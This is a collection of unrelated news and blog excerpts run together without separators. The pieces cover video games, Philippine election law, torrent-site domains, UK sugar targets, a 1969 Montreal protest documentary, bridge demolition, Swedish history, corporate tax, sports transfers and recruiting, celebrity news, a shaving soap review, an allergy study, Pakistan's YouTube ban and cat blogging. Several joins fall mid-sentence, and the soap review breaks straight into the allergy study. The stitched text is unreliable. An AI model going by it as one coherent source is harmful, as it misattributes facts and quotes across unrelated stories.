Bring Back Commander Mode
It was a great feeling in Battlefield 2 to watch artillery rain down on enemy positions courtesy of your team’s commander, but this feature, as well as the depth of gameplay that came with it, has disappeared as of Battlefield 3. A good commander could turn the tide of battle, dropping much needed supplies to beleaguered frontline squads or delivering vehicles for an impromptu armored assault, as well as commanding squads toward objectives. The return of this feature as a server option at the very least would add a lot more of the team play Battlefield is known for.
Teach us How to Play
While air support like jets and helicopters always add much needed Michael Bay flair to any sized skirmish, they also come with a steep-enough learning curve that most players will completely avoid piloting them, which puts a damper in the combined-arms Battlefield experience. Previous Battlefields have featured offline bot matches to practice vehicles with, and it’s a wonder why a similar feature wasn’t included in the last title. Bot matches or, better yet, a dedicated tutorial system, would only be advantageous to new, uninitiated players looking to make the most of Battlefield 4.
This might be the least amount of time between Battlefield sequels ever, but DICE’s commitment to quality gameplay has never failed, and I am personally waiting with bated breath for more gory details on Battlefield 4.MANILA, Philippines — Surigao del Norte Rep. Robert Ace Barbers on Monday filed a bill to postpone barangay and Sangguniang Kabataan elections until May 2020.
The bill seeks to move the elections to May 25, 2020. Subsequent barangay and SK elections will be held every three years.
Barbers filed House Bill 5359 "to support the President's call" after President Rodrigo Duterte said he is inclined to appoint barangay officials to keep "narco-politics" out of local elections.
"The local elections is just around the corner. Kung nandyan ito at they can influence the electorate, magkakaroon ng utang na loob itong mga officials, delikado, because, then, you have completed the division of this country into a narco-politics state," Duterte said in a speech last week.
The bill, which will amend Republic Act 9164, will terminate the terms of current barangay officials once passed into law. The bill also authorizes the president to appoint officers-in-charge.
"In support of the President's call to eliminate drugs and corruption among our barangay leaders, the immediate approval of this measure is highly recommended," Barbers said in his explanatory note.
Barangay and SK elections were supposed to be held in October 2016 but were postponed for fear of having candidates using drug money to fund their campaigns. Sen. Leila De Lima, who is detained on drug-related charges, has been accused of using money from convicted drug lords at the New Bilibid Prison to fund her senatorial run.
The president also referred last January to a list submitted by security forces containing at least 2,000 names of barangay captains, mayors, governors, congressmen and some judges allegedly connected to the drug trade.
In October 2016, Duterte said that that list contained 8,000 names.
Local Government Code needs amendment
House Speaker Pantaleon Alvarez, a Duterte ally and party mate, meanwhile, said in an interview with DZBB that the proposal to postpone the elections is "valid."
He admitted that the Local Government Code needs to be amended to allow the president to appoint OICs but said he has already asked his staff to prepare a draft amendment even while Congress is in recess until May 2. Under the Local Government Code, barangay officials are elected. Successors can be appointed for specific reasons like death or removal from office but can only serve unexpired terms.
The speaker, who leads a supermajority coalition, also believes the House will support the proposal as he has not received any word of opposition to the postponement. He said that Duterte can certify the bill urgent to speed up the legislative process.
Barbers' bill will need a counterpart measure at the Senate, where Duterte ally Senate President Aquilino Pimentel III also leads a supermajority.
Senators, even those supportive of Duterte, have been wary of postponing the barangay elections.With the United States Department of Justice and U.S. Immigrations and Customs Enforcements (ICE) seizing domains of file sharing sites left and right, BitTorrent trackers now have a new reason to worry. Although only a short term win for anti pirates, a domain seizure can disrupt a site’s operations and cause confusion amongst its loyal user base – in short, it’s a nuisance that tracker staff would like to avoid if possible. In face of the recent domain seizures by ICE, we’ve seen a lot of BitTorrent trackers taking preventive measures that could minimize the damage if such an event should ever happen to them. Demonoid, one of the world’s largest semi-private torrent trackers, has already moved to a.me domain (.me is the top level domain for Montenegro) from.com, making things harder for the U.S government. Following the green demon’s footprints, TorrentLeech (TL), one of the larger private trackers around, has also launched two alternative domain as backups for its existing torrentleech.org domain.
With over 200000 registered members, TorrentLeech indeed does have reasons to worry. ICE seems to be targeting sites with a lot of traffic and when (or if) they begin hunting down private trackers, TL would no doubt become a high priory target for them. TL’s current address uses the.org generic top level domain which ICE apparantly can seize easily. The backup domains are torrentleech.cc and torrentleech.cd..cc is the country specific top level domain for Cocos (Keeling) Islands while CD is the TLD for Democratic Republic of Congo. TL could very well survive using these backups in case their.org domain gets seized just like Rojadirecta did sometime back last month. As of 3/3/2011, TorrentLeech is accessible using all thee doamins listed below: http://www.torrentleech.org
http://www.torrentleech.cd
http://www.torrentleech.cc Read More About TorrentLeech: TorrentLeech v3 – New Look, New Features, More Speed
TorrentLeech v3 – Bug Fixes & ImprovementsImage copyright Getty Images Image caption Manufacturers are being challenged to cut sugar by 20% in their products by 2020
Sugar limits for everyday foods such as biscuits, chocolate bars and cereals have been published by public health officials in a bid to make UK children more healthy.
Public Health England is challenging businesses to cut sugar by 20% by 2020, and by 5% this year.
It says the food industry should try lowering sugar levels, reducing product size or pushing healthier products.
But experts question how the targets can be enforced.
Children are consuming three times more sugar every day than they should, which can lead to weight gain and obesity.
Currently, one in five children are overweight or obese when they start primary school and by the time they start secondary school that rises to one in three.
This increases their risk of type 2 diabetes, heart disease and some cancers in adulthood.
Tonnes of sugar
Dr Alison Tedstone, chief nutritionist at Public Health England (PHE), said children from deprived backgrounds were more likely to be affected by obesity.
"Tackling the amount of sugar we eat is not just a healthy thing to do, but an issue of inequality for many families.
"If businesses achieve these guidelines, 200,000 tonnes of sugar could be removed from the UK market per year by 2020."
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The guidelines apply to retailers and manufacturers as well as small cafes, coffee shops and fast food restaurants, which are thought to be responsible for an increasing level of calorie intake.
Food in nine different categories will have recommended sugar limits, including cakes, biscuits, chocolate and sweets, ice cream, puddings, yoghurts, breakfast goods and sweet spreads.
Food category Baseline average total sugar (per 100g) 20% sugar reduction guideline (per 100g) Max. calories per serving guideline Chocolate confectionary 54.6g 43.7g 250kcal Sweets 60.6g 48.4g 150kcal Cakes 34.9g 27.9g 325kcal Breakfast cereals 15.3g 12.3g 400kcal Biscuits 32.8g 26.2g 325kcal Yoghurts 12.8g 11g 175kcal Puddings 18.8g 15.1g 450kcal Pastries etc 12.5g 10g 325kcal Ice cream, lollies etc 13.7g 10.8g 325kcal
The sugar guidelines form part of the government's plan to curb childhood obesity, set out in August 2016.
Officials in Scotland, Wales and Northern Ireland have also been involved in producing the guidelines.
A sugar tax on the UK soft drinks industry has already been announced and will come into force next April.
PHE's sugar reduction programme is voluntary and it has no way of forcing the food industry to comply, but it said many companies had already taken steps to achieve the sugar targets.
It called the figures "challenging but achievable, particularly in higher sugar products".
Image copyright VICTOR DE SCHWANBERG/SPL Image caption Sugar is regarded as a major cause of obesity among children in the UK
Nestle, which makes Kitkat and Aero, recently said it had a found a way of reducing the sugar content of its chocolate bars by 10% without changing the taste.
Businesses are being encouraged to meet the sugar reduction guidelines using three approaches:
cutting sugar levels by 20% across their products
reducing the number of calories in a single serving or reducing the portion size
pushing consumers towards "no added" or lower sugar products
This means that some popular chocolate bars and tubes of sweets could shrink in size to meet the targets.
PHE said the guidelines were based on extensive talks with the food industry and public health bodies.
It said the success of its sugar reduction programme would be judged on measuring the net amount of sugar removed from the nine food categories, starting in March 2018.
'Change in attitudes'
Graham MacGregor, professor of cardiovascular medicine at Queen Mary University of London and chairman of Action on Sugar welcomed the sugar reduction targets and urged companies to meet them.
"We've seen over recent weeks that some companies within the food and drink industry have made great progress whilst others are seriously lagging behind and others claiming wrongly that they can't do it.
"Doing nothing is no longer an option - we need transparency from them about how they are meeting the targets with clear nutritional information made available for restaurants, catering companies and other out-of-home eateries."
Sue Kellie, deputy chief executive of the British Dietetic Association, said people's behaviour needed to change as well.
"The government needs to further restrict the advertising of high fat, sugar and salt foods before the 9pm watershed and ban promotions on those same products.
"If we are to successfully tackle obesity and reduce its long term costs to the NHS and wider economy, we need to change attitudes and habits over the long term - there's no quick fix," she said.
Dr Amelia Lake, public health nutritionist from Durham University, said PHE was doing the right thing.
"This is an excellent approach using strong research evidence and we are being world leaders on the international stage in our sugar reduction programme.
"Not only are these foods commonly consumed by children - but also by the whole family."What came to be known as the Computer Riot — a violent protest and sit-in against racism at a Montreal university — is the subject of a new National Film Board documentary that premiered this week at the Toronto International Film Festival.
The film is called Ninth Floor.
It uses rarely-before-seen archive footage to show the racist treatment of black students at Sir George Williams University, now Concordia's downtown campus, in the winter of 1969.
What followed were student demonstrations, occupation of the computer room at the university and a fire that took place when riot police were called in.
Biology teacher, Perry Anderson, was accused of unfairly grading black students at Sir George Williams University. (Ninth Floor/NFB) CBC Montreal's Daybreak host Mike Finnerty spoke with Rodney John, one of the original six black biology students who stepped forward to complain about the treatment they received from professor Perry Anderson.
Rodney John is one of the central narrators in the Ninth Floor movie.
He now lives in Toronto and is 73 years old.
Mike Finnerty: What was it like for you to see the finished version of that film?
Rodney John: It was quite moving, very, very moving. There were so many elements that I had forgotten and to see them all packaged in the film was quite profound for me.
MF: Did it in any way change your recollection and how you think about it now?
RJ: No, it simply cemented my memory of what went on. What the film did was bring to consciousness to awareness, that the fire was the culmination, the expression of all of the frustration, the anguish, the agony.
From a distance you look at it and say they are very brave, but when you are in the situation, it's the only proper thing to do. - Rodney John
MF: Take us back to the beginning of the events that we see in the film, and what must have been a brave thing to do at the time, to sign that protest piece of paper that said, "We are being treated with racism." Why did you sign it?
RJ: Because it was the right thing to do. From a distance you look at it and say they are very brave, but when you are in the situation, it's the only proper thing to do. The only way it could be codified was to call it racism.
MF: For people who don't know exactly what happened, what kind of experience did you have with that professor treating black students different from white ones?
RJ: During that academic year, every single West Indian student, and there were about 14 of us in the class, had issues with Anderson. He called us by our honorifics — Mr. This and Ms. That — whereas he called the white students by their first names. And his response to that was, well, he was simply being polite to the black students, and as for the white students, well he knew them.
I found out... that Perry Anderson is going to end up with a great-grandchild who is black. That sort of put a whole different context on things. - Rodney John
[Biology student] Terence had a white lab partner. Terence wrote his lab, handed it in, it was returned marked, and he got 7/10 for it. His white partner borrowed his lab after it was marked, copied it word for word, including grammatical errors, and got 9/10 for the same particular lab. Each of us had an experience with Anderson, at least one.
MF: What do you think of what happened to your friends and colleagues and how it was handled?
RJ: Oh, it was mishandled, grossly mishandled. There is no argument about that.
MF: Purposefully, possibly?
RJ: Yes, purposefully. Our dignity, our humanity, our rights … there was no overwhelming concern to see us as people with rights and their responsibility to uphold that.
In 1969, violent protests and a 14-day sit-in over racism at Sir George Williams University exploded. Police and riot squad officers stormed the computer room, arresting 97 people. (Ninth Floor/NFB) MF: You met Perry Anderson's son at a screening of the film, what was that like?
RJ: Duff is a lovely man. Duff is not his father. And ultimately, you cannot hold people responsible for who their father is. I found out through him that Perry Anderson is going to end up with a great-grandchild who is black. That sort of put a whole different context on things.
MF: It seemed that he admitted that there was a wider societal racism he fell into, possibly without being conscious of it.
RJ: I would accept that as a rationale for his behaviour. When I came to Montreal in the 1960s, the place was quite racist. To expect the university to be isolated from that racism would be quite naive. The thing is when he was made aware of it, rather than accept responsibility and say, 'I will change,' he and the people who supported him doubled down on it. To this day, I feel a sense of anguish over what we had to go through, the way in which our lives were sidetracked.
MF: Many people went to jail and one of the protestors never recovered. When you look back on it, do you look back with a sense of pride?
RJ: No. You take pride in doing something that is above and beyond what you should have done. This is something that had to be done. I did it because it was necessary. You know, in the larger scheme of things, we were just a fraction of the larger struggle for the humanity of minorities, which is still going on. And any number of people have paid a much higher price. People have paid a price with their lives.After months spent securing signatures from various marine and wildlife groups, Caltrans has the final permits necessary from the US Army Corps of Engine to demolish, via implosion, the largest pier of the old eastern span of the Bay Bridge. Bay City News and the SF Chronicle report that the bridge section known as Pier E3 will be demolished on the morning of November 7th.
The method: 600 small explosives, or micro-charges, to be detonated at a cost of $160 million. Their target: A 268-foot chunk of concrete buried 165 feet in soft mud. Implosion, says Caltrans, “significantly reduce[s] impacts to the environment” over an originally proposed $254 million demolition plan involving sawing and damming.
In just six seconds, the concrete debris from the destroyed pier will be buried down in its own cavities while a "bubble curtain" of compressed air contains the blast. Traffic on the new Bay Bridge eastern span will nonetheless be closed in both directions for about 15 minutes.
What could go wrong? Well, monitors will be watching the water to make sure no mammals such as seals, sea lions, or porpoises wander into blast zone. Baykeeper, an environmental watch group, says they'll be keeping a close eye on the implosion and have expressed concerns about the bubble curtains ability to contain pollution and debris.
Environmental watchdog group Baykeeper has raised concerns about whether the bubble curtain can in fact contain the concrete debris and prevent it from polluting the bay. They have said they will be closely watching November’s implosion.
But if you thought this meant the old Bay Bridge was finally behind us, think again. While Pier E3 is up first — the massive section has been partially dismantled in anticipation of the November demolition — there are 21 smaller piers still standing. Those might also be imploded — depending on how this all goes.
The Bay Bridge's 2-mile eastern span has stood for 77 years and has been taken down in roughly the reverse order of that in which it was built. When it's all over, more than 58,000 tons of steel and 245,000 tons of concrete will have been removed, according to Bay Bridge Seismic Safety Projects.
Previously: Video: Old Bay Bridge Demolition Time-Lapse And UpdatePrecisely 200 years ago, on August 15th, 1814, Sweden entered a new era of peace. The last battle took its final breath on August 14th after the signing of the Convention of Moss, ending a brief war with Norway sparked by the nation declaring its independence.
The war would be Sweden's last.
"Sweden as a nation has not participated in war for 200 years," Peter Wallensteen, senior professor of peace and conflict research at Uppsala University, told The Local.
How has Sweden managed to stayed out of war for two entire centuries?
"Primarily by luck," Foreign Minister Carl Bildt told The Local on Friday.
Wallensteen pointed out that Sweden has contributed forces to UN peacekeeping operations, has an active military and a thriving arms industry, and that the definition of peace is debatable.
Nor does avoiding war mean that Sweden is officially neutral. Sweden left its policy of neutrality when it joined the EU in 1995, opting instead for "non-alignment".
"But there is an absence of the use of political violence in the country, no international wars, no civil wars, and no military coups," Wallensteen explained.
Due to Switzerland's unfortunate civil war in 1847, Wallensteen said, Sweden's tally even beats the capital of neutrality.
All of the Scandinavian nations had a chance at taking the prize longest reign of peace, Wallensteen said, since they stayed out of the first world war. It was during World War II that things started falling apart.Let’s do some fact checking on President Obama’s corporate tax comments in last night’s State of the Union.
Claim: “Right now, companies get tax breaks for moving jobs and profits overseas.”
False: There are no such breaks. Instead, we punish U.S. and foreign businesses for investing and creating jobs here.
Claim: “If you’re a business that wants to outsource jobs, you shouldn’t get a tax deduction for doing it.”
False: There is no such tax deduction.
Claim: “No American company should be able to avoid paying its fair share of taxes by moving jobs and profits overseas.”
False: America is not a prison camp. Besides, imposing a 40-percent tax rate on corporations that invest here is not a “fair share.”
Claim: “From now on, every multinational company should have to pay a basic minimum tax.”
False: We’ve already got a corporate “alternative minimum tax,” and it’s an idiotic waste of accounting resources that ought to be repealed.
Claim: “It is time to stop rewarding businesses that ship jobs overseas.”
False: We penalize them for locating jobs here. Besides, the overseas operations of U.S. companies generally complement domestic jobs by boosting U.S. exports.
Claim: “Companies that choose to stay in America get hit with one of the highest tax rates in the world.”
True: Our rate is 40 percent, which compares to the global average rate of just 23 percent. See the chart below, which is based on KPMG data.
Claim: “If you’re an American manufacturer, you should get a bigger tax cut. If you’re a high-tech manufacturer, we should double the tax deduction you get for making your products here. And if you want to relocate in a community that was hit hard when a factory left town, you should get help financing a new plant, equipment, or training for new workers.”
False: It’s a horrible idea to create special breaks for certain types of government-favored businesses. It would simply encourage the exact type of tax game-playing and lobbying that the president decries. What’s a “high-tech” manufacturer? What’s an “American” manufacturer? What’s a “manufacturer”? How “hard hit” do towns need to be?
Upshot: From the president’s one “true” comment we can derive the simple and logical solution to our corporate tax problem. We should stop “hitting” companies with a 40-percent sledgehammer, and cut our corporate statutory rate to boost investment and reduce corporate tax avoidance.
Note to self: Mail copies of Global Tax Revolution to WH speechwriters.NPR adds ‘Radio Ambulante’ to podcast lineup
As the competition for podcast listeners heats up, NPR is adding a ringer to its portfolio.
“Radio Ambulante,” the Spanish-language radio show co-founded by novelist-journalist Daniel Alarcón, will be distributed by NPR, the public radio network announced this morning.
The addition fits with NPR’s slate of high-quality narrative journalism and gives the broadcaster an entreé to more than 50 million Spanish speakers living in the U.S., Anya Grundmann, NPR’s vice president for programming and audience development said in a press release.
“Daniel Alarcon and the ‘Radio Ambulante’ team are pioneers in audio storytelling in the Spanish language,” she wrote. “Their ear for language, beguiling imagination and deep journalism are a rare combination.”
“Radio Ambulante,” which was founded in 2011, got off the ground with the help of a Kickstarter campaign and other fundraising efforts (including bake sales). During its first season, the podcast was played 7,000 times. In 2012, the podcast was streamed 70,000 times. This year, the podcast was played 1.5 million times, a rapid rise fueled in part by partnerships with “Radiolab,” The New York Times, “99 Percent Invisible” and “Reply All.”
Alarcon and his team considered the offer after NPR approached them earlier this year. “Radio Ambulante” ultimately joined NPR because the network’s immense resources (sales, audience and training) would help the podcast continue to grow, Alarcón said.
“To be frank, we’ve always had a very good record selling sponsorship as well as getting support from foundations and listeners,” Alarcón said. “It’s just been an issue of spreading our small team too thin.”
The terms of the deal were not disclosed by NPR.
The partnership will allow “Radio Ambulante” to collaborate with journalists throughout NPR, including at “All Things Considered,” “Morning Edition,” “Code Switch” and “Embedded.” It will also see the show tackling ever more ambitious stories, Alarcón said, including coverage of the tumultuous political situation in Venezuela.
He expects to add to the show’s team of eight and grow “Radio Ambulante”‘s audience under NPR’s banner.
“I’m very optimistic,” he said.
Correction: An earlier version of this story characterized “Radio Ambulante” as a radio show. In fact, it’s a podcast.
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PrintIt's hard to believe, but it has been nearly five years since the Wisconsin men's basketball program received a commitment from a point guard. The wait is over now.
D'Mitrik Trice, the 6'0 younger brother of former Michigan State guard Travis Trice, is currently spending a post-graduate year at IMG Academy in Bradenton, Fla., after playing out his high school career in Huber Heights, Ohio.
Trice made an official visit to Wisconsin this week along with teammate Aleem Ford and the recently-offered pair committed to the Badgers together on Saturday, per IMG Academy. They are Wisconsin's first two commits for 2016, completing the class in one smooth stroke.
BREAKING NEWS: IMG Academy's Aleem Ford and D'Mitrik Trice will join Wisconsin Basketball next fall! #OnWisconsin pic.twitter.com/BdiuD2f9oI — IMG Academy (@IMGAcademy) April 23, 2016
As a post-grad, Trice averaged 16.2 points and 6.1 assists per game for IMG this past season. His stock picked up of late with offers from Ohio State and Vanderbilt, yet he definitely flew under the radar as a prep player, despite winning a state title as a senior with his father at Wayne High School in 2015.
Thus continues the Ohio pipeline to Madison that began around around the time associate head coach Lamont Paris arrived. Trice could potentially join Nigel Hayes, Vitto Brown, and Khalil Iverson as Buckeye products on the UW roster next season.
Ford is a 6'7 small forward who played his high school ball in Lawrenceville, Ga. before heading to IMG, where he averaged 16.5 points and seven rebounds per game.
Though Trice will not be relied upon heavily next season given the emergence of Jordan Hill, his commitment is vital to providing continuity in the backcourt once Bronson Koenig graduates. Since Koenig verbally committed to the Badgers in September of 2011, Wisconsin have been pretty content at the point guard position until the 2016 recruiting cycle. After handing out a couple of offers to combo guards types in 2015 that did not pan out, the Badgers approached the 2016 recruiting cycle with fervor, pushing hard for the likes of Payton Pritchard, JaQuori McLaughlin and Xavier Simpson.
Trice is ranked a three-star prospect by 247Sports, which ranks him No. 314 in the national class of 2016, No. 60 among point guards in the class and No. 19 among prospects in the class from Ohio.
As for Ford, he's also a three-star prospect according to 247Sports and the No. 344 overall player, No. 68 small forward and No. 20 player from Florida. Here's the scouting report on Ford:
Like D'Mitrik Trice, Ford is finishing up a post-graduate year at IMG Academy to gain more exposure. It appears to have worked. A late bloomer who grew quite a bit during his high school days in Georgia (Lawrenceville is between Atlanta and Athens), Ford was young for his class so he's still the same age as most high school seniors in the 2016 class. Ford has a good face-up game and can hit threes, bringing nice size to the wing. His struggle will be adding weight for the college game. While scouting Trice in Florida, the Wisconsin assistants fell in love with Ford's game, then invited him up on an official visit along with Trice, where Greg Gard offered him a scholarship at the end of his first day in Madison. Some of his other Division I offers are from Hofstra, Richmond, Rutgers and St. Louis. Ford also picked up interest from Michigan and Butler.
Key Info
D'Mitrik Trice (B5Q Scouting Report)
Video:
Highlights: IMG Academy PG vs. Impact 2016 (02.19.16)
Highlights: D'Mitrik Trice Mixtape @ The National Prep Invitational (02.12.16)
Interview: D'Mitrik Trice Postgame Interview (03.28.15)
Highlights: Westerville South vs. Wayne [STATE FINAL] (03.28.15)
Highlights: Wayne Wins First State Championship (03.28.15)
News Feature: "Trice" the March Madness for one family (03.18.15)
Highlights: Huber Heights Wayne knocks off #1 ranked UNDEFEATED Findlay Prep - 2015 Flyin' to the Hoop (01.21.15)
Aleem Ford (B5Q Scouting Report)
Video:
Commercial: Basketball (03.29.16)
Highlights: IMG Academy PG vs. Impact 2016 (02.19.16)
Highlights: Aleem Ford #5 IMG Academy (12.09.15)
Highlights: 6'7 Forward Aleem Ford '15 Archer HS (02.27.15)
Highlights: Aleem Ford Archer Tigers (01.20.15)As she’s prepping to play a recently divorced woman in the new Broadway musical If/Then, Tony winner Idina Menzel is living the single life offstage as well. The Tony winner has announced her separation from her husband of 10 years, Taye Diggs.
“Idina Menzel and Taye Diggs have jointly decided to separate at this time,” the couple’s reps told People. “Their primary focus and concern is for their son. We ask that you respect their privacy during this time.”
Diggs and Menzel first met as onstage adversaries Benny and Maureen in the original cast of Rent off-Broadway in late 1995 (they later reprised their roles on Broadway and the big screen), dating on and off until their wedding on January 11, 2003 in Jamaica. They also starred together in The Wild Party off-Broadway at Manhattan Theatre Club in 2000 and in Wicked, when Diggs filled in for an injured Norbert Leo Butz as Fiyero shortly after the mega-musical’s opening in late 2003. Son Walker Diggs was born in 2009.
Menzel, a Tony winner for Wicked and current star of the smash animated film Frozen, is set to headline the Broadway musical If/Then from the Pulitizer Prize-winning authors of Next to Normal, Tom Kitt and Brian Yorkey. In the show she plays a newly single woman who moves to New York City for a fresh start.
If/Then begins previews at the Richard Rodgers Theatre on March 5, 2014.It wasn't enough for Luis Suarez to contact English newspapers and offer interviews to them, even though he must have known those words would get around the world in no time, Suarez wanted more. Today Marca have a two page spread after the Liverpool player after he invited them to his Merseyside home so he could open his heart and let it bleed about the torment he's going through. Again.
The interview is pretty similar to what Suarez said to the English newspapers but that he's been so blatant and invited Marca to his house shows even more cheek than he's managed to already, and Liverpool should be able to get some extra out of a transfer fee by hitting the player with a series of fines.
Suarez says that he isn't desperate to leave but that he made things clear with the club a year ago and he just wants them to stick to that, going on to say "We had an offer from a Champions League team, I raised the situation with my agent and they said we had a new coach, the club were a good bet to get into Europe and I renewed the contract with a new clause: if we didn't enter the Champions League, I could go if they got an offer in excess of £40m."
The Uruguay international isn't giving up on that clause, he's also not giving up on Real Madrid interest. Suarez admits that he's had no contact from the Spanish club but yet again says that he could never turn the club down. Giving an interview to Marca is probably purely to throw one last rope to Real Madrid in the hope that they'll catch it.
"Any player always aspires to the highest level and Real Madrid are among the best clubs there is in the world. It would be very difficult to say no to Madrid."
Suarez then refused to say which club he dreams of playing for and says that is private between him and his family. He praises the Liverpool fans for the reception he got at Anfield recently, but reckons that's because he's worked so hard to please them.
"The people of Liverpool are amazing. I am very grateful for all their love. I feel it is an honor and is proof that I am doing my job well."
The footballer didn't sound too gushing when asked if he's joining Arsenal and said that he'll join a team in the Champions League who match his buy-out clause, as he sees it, because he'd feel that they valued him.
A positive note for Arsenal fans would be that when asked which league he thought was the better, he said "The Premier League is the best for everything: for the stadiums, the fans, for how football is lived... It's one step ahead."
Suarez was pressed on whether he'll go as far as handing a transfer request in and suggested that he wouldn't "I'm defending the colours of Liverpool and will continue to do until the last minute. My idea is to reach an agreement amicably and that the clauses are met which we agreed a year ago. For now, they are not fulfilling it."
Despite speaking to English and Spanish media, calling his club liars, outlining his wish to leave repeatedly, Suarez doesn't appear keen to hand in a transfer request. Lovely chap.
Liverpool are 6/1 with William Hill to win their first three Premier League games. Bet £25 Get a £25 Free Bet.I postponed trying this entry in the Scent-Off competition despite its being already on sale and tried by others (including The Son). So while others have purchased this soap and tried it, today is the first for me.
I am doing the first of the three test shaves, and I begin again with a boar brush. This particular Omega brush is quite appealing to me, and it’s breaking in nicely.
So: the soap. My first impression is from the packaging and presentation, which I like a lot. He elected to do a variant of his standard packaging with a new label (shown) and a new color of tin (doubtless to match the “pumpkin pie” theme, but it might become the mark of limited-edition soaps from this vendor. We’ll wait and see. But in the current context, and for the current soap, it works quite well. AND—important note—the tin is giftworthy as it stands: one doesn’t need to supplement it with a container to give the recipient the complete package.
Fragrance: This time I had no difficulty at all: pumpkin pie (or “pi”), through and through. And it’s an inspired choice: quite holiday-specific, quite familiar, and warm and comforting. It’s a good fragrance early in the morning.
Lather: I’ve had consistently good luck with HTGAM soaps in the lathering department: they immediately produce a thick,
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was measured by collecting dust from the kitchen and bed. Researchers also sampled air to measure the mother's exposure to polycyclic aromatic hydrocarbons, or PAH (combustion products that are harmful components of air pollution). Presence of the GSTM1 mutation was determined through blood samples. At ages 5 and 7, the children had blood tests to identify the presence of IgE antibodies--an immune marker of allergy.
The researchers found that 279 or 80% of homes tested positive for high levels of cockroach allergen. By age 7, 82 of 264 children tested, or 31%, had cockroach allergy. Presence of higher levels of cockroach allergen led cockroach allergy only in children whose mothers also had been exposed to higher levels of PAH during pregnancy. This result, the authors say, suggests that PAH enhances the immune response to cockroach allergen.
The combined impact of the two exposures was even greater among the 27% of children with a common mutation in the GSTM gene. This mutation is suspected to alter the ability of the body to detoxify PAHs.
The study suggests that minimizing exposure to PAH during pregnancy and to cockroach allergen during early childhood could be helpful in preventing cockroach allergies and asthma in urban children.
"Asthma among many urban populations in the United States continues to rise," says senior author Rachel Miller, MD. "Identifying these complex associations and acting upon them through better medical surveillance and more appropriate public policy may be very important in curtailing this alarming trend."
###
Additional authors include Ginger L. Chew, Adnan Divjan, Kyung Hwa Jung, Robert Ridder, Deliang Tang, Diurka Diaz, Inge F. Goldstein, Patrick L. Kinney, Andrew G. Rundle, David E. Camann, and Frederica P. Perera.
This study was supported by the National Institute of Environmental Health Sciences (grant #s P01 ES09600, 5 RO1 ES08977, R01ES13163, RO1ES11158, P30 ES009089, P50ES015905, R03 ES013308), the U.S. Environmental Protection Agency (grant #s R827027, RD832141, RD834509), and private foundations.The prime minister of Pakistan has banned YouTube in the country over the video site's refusal to block a clip that mocks the prophet Muhammad.
Reuters reports that Raja Pervez Ashraf ordered the country's Ministry of Information to block YouTube so the video, which he called "blasphemous," could not be viewed.
CBS News
The majority of Pakistani Internet traffic is routed through the Pakistan Internet Exchange, which is run by the state-owned Pakistan Telecommunication Company. The exchange's ability to filter content has so far been limited, spurring the country earlier this year to publish a request for proposals for a more sophisticated system that would block up to 50 million URLs. The country has previously sought to block access to YouTube videos, including a clip of a Dutch lawmaker in 2008. In 2010, it also sought a blanket ban on "objectionable content" surrounding a Facebook page called "Post Drawings of the Prophet Mohammad Day."The Middle Eastin reaction to " Innocence of Muslims," a video on YouTube that depicts Muhammad as a buffoon. Posted in July, the clip by Southern California filmmaker Nakoula Basseley Nakoula serves as a trailer for an upcoming movie.
But violent protests of the video claimed the lives of four Americans working for the State Department in Benghazi, including the U.S. ambassador to Libya.
In the aftermath, the White House called for YouTube to take down the clip, which the company declined to do on free-speech grounds. But it has blocked access to the clip in India, Indonesia, Libya, and Egypt, saying the video's content is illegal in those countries.
Over the weekend, CNET's Charles Cooper explored the difficult balance YouTube is attempting here: trying to support free expression on one hand while trying not to incite violence.
CNET has contacted YouTube for comment on the situation in Pakistan and will update this post when we hear back.
Update, 10:54 a.m. PT: Adds details on Pakistan's Internet system and on the country's history in regard to blocking content.Wallabies coach Ewen McKenzie made the decision on Monday morning, choosing to rule out Lealiifano for this Test to ensure he is fit for the Wallabies five-Test spring tour to Europe next month.
"Lealiifano's ankle is swollen, he's had an ongoing problem there for some time," McKenzie said in Sydney, where the Wallabies are in camp until Wednesday.
"The reality is the short term pain is to rest him and get him back to as close to 100 per cent as possible so [that for] the next five games he's playing at 100 per cent as opposed to pushing him through now and forcing him to play six games at 80 per cent. I don't think that's fair on him or the team. It's a medical decision that's logical."
As one of the most consistent performers for the Wallabies this year, in goal kicking as well as general play, his loss will be felt in the back line.
The Wallabies have multiple goal kicking options beyond Cooper, with Bernard Foley, Mike Harris and Toomua also competent kickers.Looking for news you can trust?
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While Kevin Drum is focused on getting better, we’ve invited some of the remarkable writers and thinkers who have traded links and ideas with him from Blogosphere 1.0 to this day to contribute posts and keep the conversation going. Today we’re honored to present a post from Ana Marie Cox.
I was at a small conference on religion and public policy recently—the Faith Angle Forum, it’s called. It’s a pretty heady affair with Serious Journalists talking Serious Subjects: the theological-versus-cultural origins of ISIS’s brutality, whether you can use “principled pluralism” to bring together the left and right regarding gay marriage, and—headiest of all—a presentation from the former chief rabbi of England on “religious solutions to religious environments.”
So, obviously, I was sneaking in some cat-picture viewing between sessions. (This is a proven productivity practice and a much needed source of solace in discussing these troubled times.) I was also particularly tickled to inform the other attendees, during the Islamic State panel, that one of my favorite cat photo platforms, BuzzFeed, also has been doing some pretty stellar reporting on ISIS’s use of social media. There were surprised but polite murmurs!
There are things we bloggers have in common with cats: We are antisocial. We like things on our own terms. We break stuff for fun. We’re judgy.
At dinner, one of the presenters from the panel, Princeton Near Eastern studies scholar Bernard Haykel, asked me about BuzzFeed. He is up on his jihadi poetry and can explain the reasons why Salafi Islam resists outside calls for reform, but he has not apparently seen Anna Kendrick quotes as motivational posters.
“It’s a great news site that also has lots of cat pictures,” I told him.
“Hmmm,” he said. “Why cats?”
Haykel uses the internet primarily for the study of ISIS propaganda and debates among Muslim theologians, so it’s difficult not to see in his question the suggestion of what the internet’s pro-cat bias must look like to an outsider: A MASSIVE RECRUITMENT EFFORT. Or, at the very least, a successful co-option of an entire medium to support the tuna-industrial complex.
I am so used to taking cats on the internet for granted, it had been some time since I thought about why cats.
The simple version of the story is this: Early bloggers, like Kevin, were cat people. Atrios. Glenn Reynolds. Me. Bloggers=cat people. There are theories about why blogger people are cat people, of course. There are things we have in common with cats: We are antisocial. We like things on our own terms. We break stuff for fun. We’re judgy.
Though there are also things that make cats attractive to us, things cats have that blogger-types might want for themselves: Grace. Self-actualization. Sleeping 18 hours a day.
That early bloggers popularized cat blogging doesn’t really explain why cats are still the internet’s favorite pet, though it seems like we could extrapolate that the typical modern internet consumer is, temperamentally, more like the early bloggers than not. More insecure, more skeptical, less eager to please than your Boomer generation and its slavish canines.
